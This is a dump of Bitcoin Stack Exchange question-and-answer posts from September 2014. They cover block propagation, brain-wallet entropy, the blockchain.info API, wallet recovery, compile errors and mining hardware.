  <row Id="30475" PostTypeId="1" CreationDate="2014-09-11T22:45:37.980" Score="2" ViewCount="531" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinstats.com/network/propagation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This website measures block and transaction time propagation.&lt;/a&gt;. At the time of writing, the time required for 90% of surveyed clients to get a block is about twelve seconds. (I just averaged the last five days.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could this be reduced? On a related note, what are the major causes of propagation delay? Is this primarily caused by &lt;strong&gt;network latency&lt;/strong&gt;, &lt;strong&gt;network bandwidth&lt;/strong&gt;, or by clients &lt;strong&gt;verifying the block&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10821/how-long-does-it-take-to-propagate-a-newly-created-block-to-the-entire-bitcoin-n&quot;&gt;How long does it take for blocks to propagate?&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tik.ee.ethz.ch/file/49318d3f56c1d525aabf7fda78b23fc0/P2P2013_041.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Information and Propagation in the Bitcoin network&quot;&lt;/a&gt;, by Decker and Wattenhofer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-11-07T15:16:17.830" Title="How could block propagation time be reduced?" Tags="|block|network|latency|block-propagation-time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30476" PostTypeId="2" ParentId="14093" CreationDate="2014-09-11T23:40:21.063" Score="2" Body="&lt;p&gt;There are roughly 170,000 words in the english dictionary &lt;a href=&quot;http://www.oxforddictionaries.com/us/words/how-many-words-are-there-in-the-english-language&quot; rel=&quot;nofollow&quot;&gt;according to this link&lt;/a&gt;. If you combine 4 random words (170,000^4) , you get 8.3*10^20 potential combinations which is more than 2^64 (1.8*10^19). However 64 bits of security is generally considered weak these days.  Bitcoin uses 256 bit keys (1.1*10^77 combinations) so if you want that level of security you need to use at least 15 words (2.8*10^78). Altering cases will obviously increase the potential combinations by a significant factor. Different languages have different number of words so that will change the calculations as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This calculation only applies if you choose the words completely randomly. People keep ignoring this important detail, and is the reason why brain wallets are not recommended. There are many cases of people getting their bitcoin cleaned out because they choose common phrases or include commonly used words in their private key. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-09-11T23:40:21.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30477" PostTypeId="2" ParentId="30474" CreationDate="2014-09-12T00:43:52.397" Score="4" Body="&lt;p&gt;You sure can!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send a GET request to this address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://blockchain.info/address/$bitcoin_address?format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll get back something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;hash160&quot;:&quot;660d4ef3a743e3e696ad990364e555c271ad504b&quot;,&#xA;    &quot;address&quot;:&quot;1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F&quot;,&#xA;    &quot;n_tx&quot;:17,&#xA;    &quot;n_unredeemed&quot;:2,&#xA;    &quot;total_received&quot;:1031350000,&#xA;    &quot;total_sent&quot;:931250000,&#xA;    &quot;final_balance&quot;:100100000,&#xA;    &quot;txs&quot;:[--Array of Transactions--]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;n_tx&lt;/code&gt; field will tell you how many transactions deposit or withdraw from that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-09-12T03:08:17.713" LastActivityDate="2014-09-12T03:08:17.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30478" PostTypeId="1" AcceptedAnswerId="30479" CreationDate="2014-09-12T01:43:51.100" Score="1" ViewCount="46" Body="&lt;p&gt;How can addresses be exchanged practically &amp;amp; efficiently between two users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visually copying &amp;amp; keying them is impractical &amp;amp; faulty.&lt;/p&gt;&#xA;" OwnerUserId="19323" LastEditorUserId="2306" LastEditDate="2014-09-12T02:12:46.863" LastActivityDate="2014-09-12T02:12:46.863" Title="Practical interpersonal address exchange" Tags="|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30479" PostTypeId="2" ParentId="30478" CreationDate="2014-09-12T02:10:47.657" Score="1" Body="&lt;p&gt;Very true! Manually copying a 34 character address is no fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have three major options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinqrcode.org/&quot; rel=&quot;nofollow&quot;&gt;QR code.&lt;/a&gt; Print it out in advance.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Firstbits&quot; rel=&quot;nofollow&quot;&gt;Create a FirstBits address.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Bring your phone, and &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;load a client that supports NFC.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By the way, if you enter someone's address wrong, the Bitcoins won't send - Bitcoin addresses have a checksum built in.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-12T02:10:47.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30482" PostTypeId="2" ParentId="30473" CreationDate="2014-09-12T09:44:24.463" Score="1" Body="&lt;p&gt;This can be caused by the multibit.exe executable not being able to find the 64 bit version of Java.&#xA;There is some discussion about it on the MultiBit issues database here:&#xA;&lt;a href=&quot;https://github.com/jim618/multibit/issues/376&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jim618/multibit/issues/376&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr If you install the 32 bit bit Oracle Java runtime MultiBit should find and use that. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-09-12T09:44:24.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30483" PostTypeId="1" CreationDate="2014-09-12T11:20:40.380" Score="0" ViewCount="129" Body="&lt;p&gt;I had to remove a copy of multibit wallet from my system &amp;amp; after multiple times of trying to get it to work on my 64 bit system I can now open multibit wallet. I guess when I removed the program that the wallet .dat files were removed as well but I do have the wallet addresses that were removed. Is it possible to retrieve the missing data? Can I just send my bitcoin to another wallet or do I have to have the .dat file in order to accomplish this? Hopefully I have not caused all my bitcoin to go away permanantly. Any advice on this subject will be totally appreciated big time.&lt;/p&gt;&#xA;" OwnerUserId="19330" LastEditorUserId="5406" LastEditDate="2014-09-12T16:15:17.027" LastActivityDate="2014-12-11T18:12:42.380" Title="reinstalled multibit wallet" Tags="|wallet|multibit|lost-bitcoins|lost-wallet|wallet-recovery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30484" PostTypeId="2" ParentId="8475" CreationDate="2014-09-12T12:51:39.340" Score="3" Body="&lt;p&gt;A shorter version could be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String hex = DatatypeConverter.printHexBinary(tx.unsafeBitcoinSerialize());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the hex converter used is standard at least since Java 7:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.oracle.com/javase/7/docs/api/javax/xml/bind/DatatypeConverter.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.oracle.com/javase/7/docs/api/javax/xml/bind/DatatypeConverter.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19331" LastActivityDate="2014-09-12T12:51:39.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30485" PostTypeId="1" CreationDate="2014-09-12T14:53:54.353" Score="5" ViewCount="1034" Body="&lt;p&gt;Is a Bitcoin block containing both a transaction that funds an output, and another transaction that immediately spends the same output, allowed by the protocol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such behavior occur &quot;in the wild&quot;, e.g. do any of the common clients allow spending unconfirmed Bitcoins? Would miners include such transactions?&lt;/p&gt;&#xA;" OwnerUserId="4607" LastActivityDate="2014-09-12T15:32:08.580" Title="Can an output be spent in the block in which it is contained?" Tags="|transactions|protocol|output|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30486" PostTypeId="2" ParentId="30485" CreationDate="2014-09-12T15:22:43.273" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;allowed by the protocol?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. It is possible to spend an output immediately. And two (three-four-etc) chaining transactions will be included in the same block. There are a lot of examples in blockchain. Note, that the their order in block is fixed. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;do any of the common clients allow spending unconfirmed Bitcoins&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-core client allows to send &quot;raw transaction&quot; to spend unconfirmed bitcoins. Also the &quot;change&quot; output can be spent without confirmations. Holding incoming bitcoins for several confirmations is an interface option only, not a protocol rule.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-09-12T15:22:43.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30487" PostTypeId="2" ParentId="30485" CreationDate="2014-09-12T15:32:08.580" Score="1" Body="&lt;p&gt;Sure. Miners simply receive both transactions and try to include them in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding confirmations, this is only a concern when wanting to claim a transaction you've received from someone else. If they're your own coins, there's no risk of a double spend.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-09-12T15:32:08.580" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30488" PostTypeId="2" ParentId="30483" CreationDate="2014-09-12T16:14:53.077" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_gettingStarted.html&quot; rel=&quot;nofollow&quot;&gt;MultiBit's Getting Started&lt;/a&gt;, the wallet file of MultiBit seems to be named &lt;strong&gt;&lt;code&gt;multibit.wallet&lt;/code&gt;&lt;/strong&gt;, not wallet.dat. You might want to try searching for that instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry to break the bad news, but the &lt;strong&gt;addresses aren't sufficient&lt;/strong&gt; to regain control of the bitcoins. If that were the case, anyone that knew your address could grab your coins, and addresses are public information which would make for a very insecure system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, you need your &lt;strong&gt;private keys&lt;/strong&gt; in order to transfer your bitcoins. &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-12T16:20:43.867" LastActivityDate="2014-09-12T16:20:43.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30489" PostTypeId="2" ParentId="30451" CreationDate="2014-09-12T16:50:50.150" Score="2" Body="&lt;p&gt;If you dont want to use ANY 3rd party service, you will need to parse the entire blobkchain and put it inside a database so you can query whatever information you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that you have two options: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;code your own parser for blocks/transactions, and here i suggest you using the rcpapi (its all json, nothing crazy) instead of doing it the hard way like &lt;a href=&quot;http://codesuppository.blogspot.com.ar/2014/01/how-to-parse-bitcoin-blockchain.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;use some software which can do it (something like &lt;a href=&quot;https://github.com/lirazsiri/blockexplorer&quot; rel=&quot;nofollow&quot;&gt;blockexporer&lt;/a&gt; or &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;Abe&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another piece of advice: before you start downloading the blockchain, you need to set this in your bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# look up historical transactions&#xA;txindex=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which allows you to get detailed information about &quot;old&quot; transactions, but this will make grow the blockchain size in your disk significantly&lt;/p&gt;&#xA;" OwnerUserId="13478" LastEditorUserId="13478" LastEditDate="2014-09-12T16:56:54.393" LastActivityDate="2014-09-12T16:56:54.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30490" PostTypeId="2" ParentId="30451" CreationDate="2014-09-12T17:04:29.170" Score="1" Body="&lt;p&gt;The standard way to to this is to use software that downloads, parses, and indexes the blockchain. While possible to do create your own software using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;bitcoin specification&lt;/a&gt;, there are a number of ready-built applications that you can use, such as those listed here: &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt;. It's going to take a really really long time for the initial download, but once that's done, you'll have access to all the information you're looking for and then some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you mention that you would prefer to get the balance in Satoshis? Which ever application you decide to use should give you this option, but just in case that it doesn't, simply take the balance in BTC, and multiply it by 100,000,000.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2014-09-12T17:04:29.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30491" PostTypeId="2" ParentId="23540" CreationDate="2014-09-12T17:25:24.987" Score="1" Body="&lt;p&gt;With Blockchain.info, only encrypted private keys are stored on their server. Decryption of private keys and signing is done in the browser. You don't even need to worry about sending your data over HTTPS, let alone TOR because any data that leaves your browser is securely encrypted before it even leaves your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's one caveat, however; it's difficult to determine whether or not Blockchain.info (or any site, really) is doing exactly what they claim unless you &lt;em&gt;constantly&lt;/em&gt; monitor traffic between them and your browser. Ultimately, the most dangerous attack vector would be for Blockchain.info to behave dishonestly, or for a website to impersonate them and do the same. &lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="2306" LastEditDate="2014-09-12T18:21:23.737" LastActivityDate="2014-09-12T18:21:23.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30492" PostTypeId="1" CreationDate="2014-09-12T21:24:38.740" Score="0" ViewCount="234" Body="&lt;p&gt;I'm compiling a SmallChange clone on Mac OS using the .osx makefile, and I get this error. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'boost/assign/list_of.hpp' file not found&lt;/p&gt;&#xA;" OwnerUserId="13149" LastEditorUserId="2306" LastEditDate="2014-09-12T21:58:37.043" LastActivityDate="2014-09-12T21:58:37.043" Title="Cryptocurrency compile error" Tags="|mac|compiling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30493" PostTypeId="2" ParentId="30492" CreationDate="2014-09-12T21:46:54.893" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/104322/how-do-you-install-boost-on-macos&quot;&gt;Install boost.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;instructions&lt;/a&gt; if you have additional problems.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-09-12T21:46:54.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30494" PostTypeId="1" AcceptedAnswerId="32323" CreationDate="2014-09-12T23:45:53.497" Score="2" ViewCount="4674" Body="&lt;p&gt;I'm setting up an account and noticed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The recipient account is an unknown account, meaning it has never had an incoming or outgoing transaction. To submit this request you must supply the recipient public key also.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct me if this is right or not. So when setting up my first NXT address, it creates a public + private key on my local machine. Now the public key is used to generate my NXT address like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NXT-XXXX-XXXX-XXXX-XXXX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does this mean my public key which is a 64 character like this: 18c6e5c1840d044243434dc352672c0b889e332249f240600149baaf978d8870&lt;/p&gt;&#xA;&#xA;&lt;p&gt;used to generate the shortened NXT address? (ex. NXT-XXXX-XXXX...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the reason why even if I gave my NXT address to someone, it wouldn't work since I never sent a transaction out with my &lt;strong&gt;public key&lt;/strong&gt; which also broadcasts my NXT address to show it exists? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still very confused in the fact of why I have to send out a transaction to secure my NXT address. In bitcoin we don't have to do that and I want to understand why this is the case. Was it meant to make it easier to type out? Why didn't NXT just stick with using just the public key as the address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like its a 2 step process as we have to first generate a public+private key then use those keys to generate a NXT address, and then broadcast this NXT address to the network to register it saying &quot;this NXT address belongs to this public key&quot;. Right?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-11-04T17:01:36.977" Title="How is a NXT account address generated? Why do we need to send out a transaction in NXT to secure the address?" Tags="|address|nxt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30495" PostTypeId="1" CreationDate="2014-09-13T00:42:18.330" Score="1" ViewCount="125" Body="&lt;p&gt;Given, a coin has difficulty &lt;code&gt;'d'&lt;/code&gt;, an exchange rate &lt;code&gt;'x'/BTC&lt;/code&gt; or &lt;code&gt;'X'/USD&lt;/code&gt;, and given that my hardware can do &lt;code&gt;'y' MH/s&lt;/code&gt; (scrypt), how would I determine the best coin that I could mine? Do I need to consider any other factors?&lt;/p&gt;&#xA;" OwnerUserId="16952" LastEditorUserId="5406" LastEditDate="2014-10-04T08:37:55.887" LastActivityDate="2014-10-04T08:37:55.887" Title="How does one calculate the profitability for a coin?" Tags="|exchange-rate|mining-profitability|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30496" PostTypeId="1" CreationDate="2014-09-13T01:37:16.080" Score="2" ViewCount="212" Body="&lt;p&gt;I'm new in the Bitcoin World. Today I did my second transaction for just 0.005 BTC but 2 hours after, it's unconfirmed yet. The transaction is in the block 320385 and it is orphaned. I saw the statistics for orphaned block in blockchain.info and today are 10 orphaned blocks and this is a high value according the graphic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My cuestion is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.- How much time will my transaction to be included in other block?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.- What happened on september 13, 2014?, Why are there 10 orphaned blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="19337" LastEditorUserId="5406" LastEditDate="2016-02-02T09:09:06.820" LastActivityDate="2016-02-02T09:09:06.820" Title="Orphaned blocks on September 13, 2014" Tags="|blockchain.info|stale-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30498" PostTypeId="2" ParentId="30496" CreationDate="2014-09-13T02:09:52.997" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Today I did my second transaction for just 0.005 BTC but 2 hours after, it's unconfirmed yet. The transaction is in the block 320385 and it is orphaned. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it in a block, or is it unconfirmed?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;block 320385&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which block 320385? &lt;a href=&quot;https://blockchain.info/block-index/463427/00000000000000001af016dd744624803372985edda587f0bf5d9689118cdae8&quot; rel=&quot;nofollow noreferrer&quot;&gt;This one&lt;/a&gt; or &lt;a href=&quot;https://blockchain.info/block-index/463426/00000000000000000c06e54c51c91aa306f1d043c05ef36afff446041243babb&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;today are 10 orphaned blocks and this is a high value according the graphic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Huh, that's pretty odd. Screenshot for posterity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iA8MB.png&quot; alt=&quot;Blockchain mistakenly thinks that blocks are orphaned&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's unusual for blockchain.info to be wrong, but it definitely is in this case. This is the best chain that my client can find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-09-13 01:59:04.460 UpdateTip: new best=000000000000000000652d48e212a9fdb16ce57d7097b76200a2fe5e9cd643fe  height=320406  log2_work=80.639033  tx=46574398  date=2014-09-13 01:56:16 progress=0.999993&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The chain that blockchain.info thinks is invalid appears valid to my client. They'll probably have it sorted out in a few hours.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-13T02:09:52.997" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30499" PostTypeId="1" CreationDate="2014-09-13T02:59:24.783" Score="3" ViewCount="175" Body="&lt;p&gt;I'm building out a pet project webapp called CollaboTree, a big part of it is allowing users to set bounties for completing/collaborating on little bits of work. I'd like these micro payments to be as cheap/free as possible, and fast (instant?) would be good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it make sense to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a wallet for every user on signup, and make all internal payments go onto the blockchain between real wallets&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;allow users to load/unload bitcoin onto their accounts to some kind of shared wallet which only the app has access to, then maintain a balance for each user in database letting them transfer among themselves instantly outside of the blockchain, then letting them get their coins back 'live' when needed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have one big wallet for the entire app, with each user having their own address which is the only one they can spend from or something?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11142" LastEditorUserId="15412" LastEditDate="2014-09-13T11:43:10.567" LastActivityDate="2014-10-14T00:46:18.197" Title="How to best structure Internal bitcoin payments within a webapp?" Tags="|development|website-integration|user-data|micropayments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30500" PostTypeId="1" CreationDate="2014-09-13T10:28:46.887" Score="3" ViewCount="3048" Body="&lt;p&gt;I have 90Gh/s Bitcoin Miner and its almost useless for Bitcoin Mining with current difficulty. By changing the Linux software installed in it can I convert this Bitcoin Miner to Litecoin Miner? I am capable on uninstalling/flashing the current operating system and re-install a new one but I am wondering is it just software that decides to mine only Bitcoin or hardware too supports only Bitcoin Mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not possible with Litecoin Miner can I use this miner for mining any other crypto-currency?&lt;/p&gt;&#xA;" OwnerUserId="18926" LastEditorUserId="5406" LastEditDate="2016-03-06T19:13:33.130" LastActivityDate="2020-04-25T10:51:11.220" Title="Is it possible to convert Bitcoin Miner to Litecoin Miner?" Tags="|hash|asic|mining-hardware|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30501" PostTypeId="2" ParentId="30500" CreationDate="2014-09-13T15:13:13.527" Score="7" Body="&lt;p&gt;No, you can't. And this has nothing to do with the operating system. Your hardware has a bitcoin ASIC chip made only for doing Sha-256 calculations. Litecoin uses the Scrypt algorithm. Sha-256 and Scrypt are not the same, so what you are suggesting is impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can mine other Sha-256 coins instead of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-09-13T15:13:13.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30502" PostTypeId="1" AcceptedAnswerId="30503" CreationDate="2014-09-13T16:10:23.300" Score="3" ViewCount="102" Body="&lt;p&gt;I'm compiling on mac, and I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned char *SHA256(const unsigned char *d, size_t n,unsigned char *md) DEPRECATED_IN_MAC_OS_X_VERSION_10_7_AND_LATER; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does this happen, and how do I fix it?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2022-08-25T19:31:22.517" Title="Deprecation error on mac" Tags="|mac|compiling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30503" PostTypeId="2" ParentId="30502" CreationDate="2014-09-13T16:10:23.300" Score="1" Body="&lt;p&gt;In Mac OS X 10.7, Apple wants you to use their own crypto library instead of OpenSSL. This is pretty unlikely to ever be done by the bitcoin devs, so here's how to turn the warning off:&lt;/p&gt;&#xA;&lt;p&gt;When running &lt;code&gt;./configure&lt;/code&gt;, give it the following argument:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;./configure CXXFLAGS=-Wno-deprecated-declarations&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will disable the warning.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2022-08-25T19:31:22.517" LastActivityDate="2022-08-25T19:31:22.517" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30504" PostTypeId="1" AcceptedAnswerId="30505" CreationDate="2014-09-13T18:34:05.413" Score="2" ViewCount="247" Body="&lt;p&gt;I am wondering if calling JSON-RPC from the computer it is running on is secure. I read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2651/how-secure-is-calling-bitcoind-json-rpc&quot;&gt;How secure is calling bitcoind JSON-RPC?&lt;/a&gt; and understand why it is insecure to do so from a different computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a secure way to call it from the same computer &lt;strong&gt;without&lt;/strong&gt; using &lt;a href=&quot;http://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon%20p&quot; rel=&quot;nofollow&quot;&gt;SSL?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12915" LastEditorUserId="2306" LastEditDate="2014-09-13T19:53:55.263" LastActivityDate="2014-09-13T19:57:29.210" Title="How secure is calling bitcoind JSON-RPC from same computer?" Tags="|bitcoind|security|json-rpc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30505" PostTypeId="2" ParentId="30504" CreationDate="2014-09-13T19:57:29.210" Score="1" Body="&lt;p&gt;Yes. By default, Bitcoin will only listen for RPC connections on local loopback. Local loopback cannot be accessed or spied upon by another computer. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-13T19:57:29.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30506" PostTypeId="1" CreationDate="2014-09-13T20:32:12.913" Score="1" ViewCount="115" Body="&lt;p&gt;How would I implement &lt;a href=&quot;http://point-at-infinity.org/ssss/&quot; rel=&quot;nofollow&quot;&gt;Shamir's Secret Sharing Scheme&lt;/a&gt; with an encrypted Bitcoin wallet?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2014-09-13T20:38:40.357" LastActivityDate="2014-09-13T20:38:40.357" Title="Implementing Secret Sharing with an Encrypted Bitcoin Wallet" Tags="|wallet|encryption|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
